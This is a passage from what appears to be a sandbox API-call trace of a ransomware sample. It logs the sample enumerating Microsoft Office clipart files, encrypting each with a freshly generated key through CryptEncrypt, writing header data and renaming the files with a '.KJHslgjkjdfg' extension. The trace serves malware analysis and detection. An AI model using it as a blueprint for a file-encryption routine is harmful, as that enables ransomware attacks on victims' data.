WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.387] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.387] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.387] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.387] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.387] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.388] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.388] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1100c, lpOverlapped=0x0) returned 1 [0181.389] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11010, dwBufLen=0x11010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11010) returned 1 [0181.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.390] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11010, lpOverlapped=0x0) returned 1 [0181.391] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x110e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.391] SetEndOfFile (hFile=0x114) returned 1 [0181.394] GetProcessHeap () returned 0x2a0000 [0181.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.394] GetProcessHeap () returned 0x2a0000 [0181.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.kjhslgjkjdfg")) returned 1 [0181.395] CloseHandle (hObject=0x114) returned 1 [0181.395] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0181.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.397] GetProcessHeap () returned 0x2a0000 [0181.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.397] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.397] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0181.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.401] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.401] GetProcessHeap () returned 0x2a0000 [0181.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.401] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.401] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.401] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.401] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.401] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.401] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.401] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.401] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.402] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.402] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xae2, lpOverlapped=0x0) returned 1 [0181.402] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0) returned 1 [0181.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.402] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaf0, lpOverlapped=0x0) returned 1 [0181.402] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.402] SetEndOfFile (hFile=0x114) returned 1 [0181.405] GetProcessHeap () returned 0x2a0000 [0181.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.405] GetProcessHeap () returned 0x2a0000 [0181.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.kjhslgjkjdfg")) returned 1 [0181.406] CloseHandle (hObject=0x114) returned 1 [0181.406] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0181.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.407] GetProcessHeap () returned 0x2a0000 [0181.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.407] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0181.410] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.410] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.410] GetProcessHeap () returned 0x2a0000 [0181.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.410] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.411] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.411] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.411] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.411] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.411] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.411] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.411] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.411] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.411] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf56, lpOverlapped=0x0) returned 1 [0181.411] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf60, dwBufLen=0xf60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf60) returned 1 [0181.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.412] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf60, lpOverlapped=0x0) returned 1 [0181.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.412] SetEndOfFile (hFile=0x114) returned 1 [0181.414] GetProcessHeap () returned 0x2a0000 [0181.414] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.414] GetProcessHeap () returned 0x2a0000 [0181.414] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.kjhslgjkjdfg")) returned 1 [0181.416] CloseHandle (hObject=0x114) returned 1 [0181.416] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0181.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.417] GetProcessHeap () returned 0x2a0000 [0181.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.417] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0181.425] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.425] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.425] GetProcessHeap () returned 0x2a0000 [0181.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.425] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.425] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.425] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.425] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.425] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.426] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.426] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.426] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf6a, lpOverlapped=0x0) returned 1 [0181.426] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf70, dwBufLen=0xf70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf70) returned 1 [0181.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.426] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf70, lpOverlapped=0x0) returned 1 [0181.426] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.426] SetEndOfFile (hFile=0x114) returned 1 [0181.429] GetProcessHeap () returned 0x2a0000 [0181.429] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.429] GetProcessHeap () returned 0x2a0000 [0181.429] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.kjhslgjkjdfg")) returned 1 [0181.430] CloseHandle (hObject=0x114) returned 1 [0181.430] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0181.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.432] GetProcessHeap () returned 0x2a0000 [0181.432] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.432] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.432] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.432] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.432] GetProcessHeap () returned 0x2a0000 [0181.432] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.433] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.433] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.435] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.435] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.435] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.435] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.435] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.435] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.435] SetFilePointerEx (in: 